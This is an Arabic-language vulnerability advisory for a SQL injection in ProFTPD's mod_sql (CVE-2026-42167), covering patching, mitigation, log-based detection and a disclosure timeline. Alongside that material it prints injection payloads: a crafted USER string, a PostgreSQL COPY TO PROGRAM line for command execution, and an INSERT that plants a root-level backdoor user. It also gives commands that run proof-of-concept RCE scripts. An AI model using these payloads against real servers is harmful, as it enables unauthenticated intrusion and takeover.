
تحليل تقني وإثبات مفهوم لـ CVE-2026-42167، وهي ثغرة حقن SQL حرجة في ProFTPD mod_sql تتيح تجاوز المصادقة، وحقن مستخدم خلفي، وتنفيذ التعليمات البرمجية عن بُعد.
| السمة | القيمة |
|---|
| النوع | حقن SQL (CWE-89) |
| الخطورة | عالية/حرجة |
| CVSS v3 | 8.1 |
| المكوّن | mod_sql في ProFTPD < 1.3.9a |
| أُبلغ بواسطة | ZeroPath Research |
| التاريخ | 28 أبريل 2026 |
is_escaped_text()يستخدم ProFTPD الدالة is_escaped_text() لتحديد ما إذا كانت القيمة قد تم تعقيمها بالفعل قبل إدراجها في استعلام SQL. تفترض الدالة أن أي إدخال:
''...قد تم تجاوزه بالفعل ولا يتطلب معالجة إضافية.
يمكن للمهاجم إرسال اسم مستخدم خبيث مثل:
USER ' || (SELECT 1) ||'
عند إدراجه في استعلام SQL مثل:
INSERT "'%U', '%r', '%m'" activity_log
يتم إنتاج:
INSERT "'' || (SELECT 1) || ''" activity_log
يتم تنفيذ الحمولة كـ SQL عشوائي لأن عوامل التشغيل || تقوم بدمج سلاسل فارغة حول الأمر المُحقن.
المتطلبات:
%U أو %{basename}التقنية:
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'
تنفيذ أوامر على مستوى نظام التشغيل كمستخدم postgres.
المتطلبات:
SQLAuthenticate%U في SQLLog ERR_* (قبل المصادقة)التقنية:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
يقوم المهاجم بحقن مستخدم خلفي بمعرف uid=0 (الجذر) ووصول إلى نظام الملفات بالكامل.
المتطلبات:
التقنية: حقن SQL أعمى قائم على الوقت لاستخراج بيانات الاعتماد حرفًا بحرف.
| المتغير | المعنى | النطاق |
|---|---|---|
%U | اسم المستخدم الأصلي (قبل المصادقة) | قبل المصادقة |
%A | كلمة مرور تسجيل الدخول المجهول | قبل المصادقة |
%J | معلمات الأمر | قبل المصادقة |
%m | فعل FTP (STOR، RETR، إلخ.) | قبل المصادقة |
%{basename} | مكوّن اسم الملف | بعد المصادقة |
%l | استجابة ident (RFC 1413) | قبل المصادقة (إذا كان identd متاحًا) |
قبل المصادقة (الأكثر خطورة):
%U + SQLLog ERR_* → بدون الحاجة إلى بيانات اعتماد
بعد المصادقة:
%{basename} + SQLLog STOR → يتطلب أي مستخدم FTP صالح
التحديث فورًا إلى ProFTPD 1.3.9a أو أحدث:
# التحقق من الإصدار الحالي
proftpd -v
# التحديث (مثال لـ Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
إذا لم تتمكن من التحديث فورًا:
# قم بتعليق أو حذف هذه الأسطر في proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- في PostgreSQL، أنشئ مستخدمًا بدون صلاحيات المستخدم الفائق
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- لا تمنح SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
ابحث في سجلات التتبع الخاصة بـ ProFTPD (مع تفعيل Trace sql:17):
text 'payload' is already escaped, skipping escaping it again
تشير هذه الرسالة إلى أن محاولة تجاوز قد تمت معالجتها بواسطة المحرك المعرض للخطر.
# تفعيل التتبعات التفصيلية
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# إعادة تشغيل ProFTPD
sudo systemctl restart proftpd
# مراقبة السجلات
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| الإصدار | الحالة |
|---|---|
| < 1.3.9 | ❌ معرض للخطر |
| 1.3.9 | ❌ معرض للخطر |
| ≥ 1.3.9a | ✅ تم التصحيح |
| ≥ 1.3.10rc1 | ✅ تم التصحيح |
# استنساخ المستودع
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# المتطلبات
# - Docker
# - Git
# - Python 3.10+
# - uv (مدير حزم Python)
# إعداد البيئة المعرضة للخطر
cd setup
./setup.sh
# تشغيل إثباتات المفهوم
cd ../pocs
python3 preauth_user_backdoor.py # حقن مستخدم خلفي (قبل المصادقة)
python3 preauth_user_rce.py # RCE عبر COPY TO PROGRAM (قبل المصادقة)
python3 postauth_stor_backdoor.py # حقن مستخدم (بعد المصادقة)
python3 postauth_stor_rce.py # RCE (بعد المصادقة)
# التنظيف
cd ../setup
./teardown.sh
| التاريخ | الحدث |
|---|---|
| 2026-03-28 | الإبلاغ عن الثغرة إلى ProFTPD |
| 2026-04-07 | التحقق وتطوير التصحيح |
| 2026-04-24 | تعيين CVE-2026-42167 |
| 2026-04-27 | إصدار التصحيح (commit af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | إطلاق ProFTPD 1.3.9a |
SQLLog على جميع خوادم ProFTPDآخر تحديث: 28 أبريل 2026
المصدر: ZeroPath Research، MITRE CVE، NVD